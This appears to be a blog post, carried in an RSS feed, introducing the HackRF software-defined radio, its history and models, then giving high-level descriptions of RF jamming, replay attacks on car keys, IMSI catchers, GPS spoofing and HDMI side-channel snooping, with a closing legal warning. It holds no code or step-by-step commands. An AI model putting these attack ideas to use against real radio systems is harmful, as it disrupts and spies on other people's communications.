Picture this: It’s a tiny USB device that costs less than your monthly coffee budget but can mess with radio signals from 1MHz to 6GHz. That’s basically everything from AM radio]]></description><link>https://log.page0.dev/the-hackrf-guide-nobody-asked-for</link><guid isPermaLink="true">https://log.page0.dev/the-hackrf-guide-nobody-asked-for</guid><category><![CDATA[hackrf]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[wireless security]]></category><category><![CDATA[hardwarehacking]]></category><category><![CDATA[#infosec]]></category><dc:creator><![CDATA[Abhinav]]></dc:creator><pubDate>Sat, 25 Apr 2026 19:24:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/5d0f3a00-129a-43f0-8ae6-2140062a59dc.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>What Even is a HackRF?</h2>
<p>Picture this: It’s a tiny USB device that costs less than your monthly coffee budget but can mess with radio signals from 1MHz to 6GHz. That’s basically everything from AM radio to WiFi, Bluetooth, and your neighbor’s baby monitor.</p>
<p>The device features a maximum transmission power of 30mW and connects via USB to provide up to 20 million samples per second. While this transmission power is relatively low, it’s sufficient for close-range experimentation and testing. The device is compatible with GNU Radio software, allowing integration with various other tools and protocols.</p>
<h2>A Brief History Lesson</h2>
<p>Back in 2012, Michael Ossmann had a brilliant idea: “What if we made radio hacking accessible to broke college students and curious degenerates?” Thus, HackRF was born.</p>
<h3>The timeline:</h3>
<ul>
<li><p><strong>2012</strong>: Michael Ossmann introduces the concept of an affordable, open-source SDR</p>
</li>
<li><p><strong>2013</strong>: Successful Kickstarter campaign launches mass production</p>
</li>
<li><p><strong>Present</strong>: HackRF becomes the go-to SDR device for researchers and enthusiasts worldwide</p>
</li>
</ul>
<h2><strong>Which HackRF Is That?</strong></h2>
<h3>HackRF Jawbreaker</h3>
<img src="https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lvThm2O2rRxRSzmz1jYAJA.png" alt="captionless image" style="display:block;margin:0 auto" />

<p>HackRF Jawbreaker marked the beginning of the project in 2012–2013, serving as the initial prototype with a limited production run of approximately 500 units that proved the concept’s viability.</p>
<h3>HackRF One</h3>
<img src="https://miro.medium.com/v2/resize:fit:1400/format:webp/1*rpGiEZxP8Bduj3EXm9e4EA.png" alt="captionless image" style="display:block;margin:0 auto" />

<p>The HackRF One, introduced in 2013, became the main production version and continues to be manufactured today, featuring significant improvements over the Jawbreaker design and establishing itself as the standard model.</p>
<h3><strong>HackRF One + PortaPack H1</strong></h3>
<img src="https://miro.medium.com/v2/resize:fit:1400/format:webp/1*jz1DPiSvnzxmZqCdzFJhrw.png" alt="captionless image" style="display:block;margin:0 auto" />

<p>The HackRF One with PortaPack H1 transformed the basic HackRF One by adding a display module that enabled standalone operation without a computer, featuring an LCD touchscreen interface and built-in battery support for portable use.</p>
<h3><strong>HackRF One + PortaPack H2</strong></h3>
<img src="https://miro.medium.com/v2/resize:fit:1400/format:webp/1*YJwj3veAhmLj6QpDihl0-A.png" alt="captionless image" style="display:block;margin:0 auto" />

<p>The HackRF One with PortaPack H2 represents the latest evolution, building upon the H1’s foundation with an improved display, enhanced interface, and more capable firmware to deliver a more refined user experience.</p>
<h2>The Fun Stuff aka “Educational Purposes Only”</h2>
<h3><a href="https://github.com/abiiinv/Seasides/blob/main/Jamming.md">RF Jamming</a></h3>
<p>Want to make WiFi disappear faster than your motivation on Monday morning? RF jamming works by transmitting disruptive signals at the same frequency as your target, essentially drowning out legitimate communications.</p>
<p><strong>Common jamming techniques include:</strong></p>
<ul>
<li><p><strong>Spot Jamming</strong>: Targeting a specific frequency</p>
</li>
<li><p><strong>Barrage Jamming</strong>: Affecting multiple frequencies simultaneously</p>
</li>
<li><p><strong>Sweep Jamming</strong>: Moving across a range of frequencies</p>
</li>
</ul>
<h3><a href="https://github.com/abiiinv/Seasides/blob/main/Reply_attack_Car.md">Replay Attacks: Ctrl+C, Ctrl+V for RF</a></h3>
<p>This is probably the most straightforward attack in the RF world:</p>
<p>This attacks involve capturing and retransmitting radio signals to gain unauthorized access or trigger unintended actions. This attack vector exploits systems that lack proper authentication mechanisms.</p>
<p><strong>The process involves:</strong></p>
<ol>
<li><p>Intercepting the original signal</p>
</li>
<li><p>Recording the transmission</p>
</li>
<li><p>Replaying the signal at a chosen time</p>
</li>
<li><p>Achieving the same result as the original transmission</p>
</li>
</ol>
<h3><a href="https://github.com/abiiinv/Seasides/blob/main/GSM_hacking.md"><strong>GSM Hacking: Pretending to be a Cell Tower</strong></a></h3>
<p>IMSI (International Mobile Subscriber Identity) catchers are devices that mimic cellular base stations to intercept mobile communications. These tools demonstrate vulnerabilities in cellular network protocols.</p>
<p>IMSI catchers work by broadcasting stronger signals than legitimate cell towers, causing nearby mobile devices to connect automatically. Once connected, they can intercept communications and track device locations.</p>
<h3><a href="https://github.com/abiiinv/Seasides/blob/main/GPS_Spoofing_attack.md">GPS Spoofing: “You Are Here” But Not Really</a></h3>
<p>Why settle for being where you actually are when you can convince your GPS you’re literally anywhere else? GPS spoofing transmits fake GPS signals that override the real ones, making your GPS receiver calculate a completely false location.</p>
<p>Unlike GPS jamming which just blocks signals, spoofing is more sophisticated and harder to detect. Your navigation system thinks everything is normal while being completely wrong about where you are.</p>
<h3><a href="https://github.com/abiiinv/Seasides/blob/main/Side%20channel%20attack.md">Side-Channel Analysis</a></h3>
<p>Here’s where things get really creepy. You can literally watch someone’s monitor through radio waves. HDMI cables leak RF signals that correspond to what’s being displayed on screen, and with the right setup, you can recreate what someone is looking at on their computer.</p>
<p>This technique demonstrates how electronic devices can leak information through electromagnetic signatures, emphasizing the importance of proper shielding and security measures.</p>
<h2>Essential Software Tools</h2>
<p><strong>Recommended Applications:</strong></p>
<ul>
<li><p><a href="https://github.com/AlexandreRouma/SDRPlusPlus"><strong>SDR++</strong></a> : Comprehensive SDR software with spectrum analysis capabilities</p>
</li>
<li><p><a href="https://github.com/pavsa/hackrf-spectrum-analyzer"><strong>hackrf-spectrum-analyzer</strong></a> : Specialized tool for RF spectrum visualization</p>
</li>
<li><p><a href="https://github.com/xmikos/qspectrumanalyzer"><strong>qSpectrumAnalyzer</strong></a> : Cross-platform spectrum analysis application</p>
</li>
</ul>
<h2>Final Thoughts</h2>
<p>The HackRF is a gateway drug to the world of RF security. One day you’re just curious about how WiFi works, the next day you’re explaining to airport security why you have a USB device that can “theoretically” interfere with aircraft navigation systems.</p>
<p>For less than $300, you get a device that can explore most of the radio spectrum. Compare that to traditional test equipment costing tens of thousands of dollars, and you understand why this little USB stick revolutionized the RF world.</p>
<h2>Resources to Dive Deeper</h2>
<ul>
<li><p><a href="https://github.com/abiiinv/Seasides/blob/main/HACKRF.md#imsi-catcher">GitHub</a> — Introduction to HackRF</p>
</li>
<li><p><a href="https://greatscottgadgets.com/hackrf/">Great Scott Gadgets</a> — Official HackRF site</p>
</li>
<li><p><a href="https://www.gnuradio.org/">GNU Radio</a> — The foundation of SDR</p>
</li>
<li><p><a href="https://www.rtl-sdr.com/">RTL-SDR Blog</a> — Stay updated with SDR news</p>
</li>
<li><p><a href="https://www.kickstarter.com/projects/mossmann/hackrf-an-open-source-sdr-platform/">Kickstarter Campaign</a> — The campaign that started it all</p>
</li>
</ul>
<h3><strong>Not Gonna Lie, This Part Matters</strong></h3>
<p>Most countries have strict regulations about RF transmissions, and jamming GPS or cellular signals can land you with massive fines or prison time. I’m not legally responsible if you end up jamming satellites play with RF at your own risk.</p>
]]></content:encoded></item></channel></rss>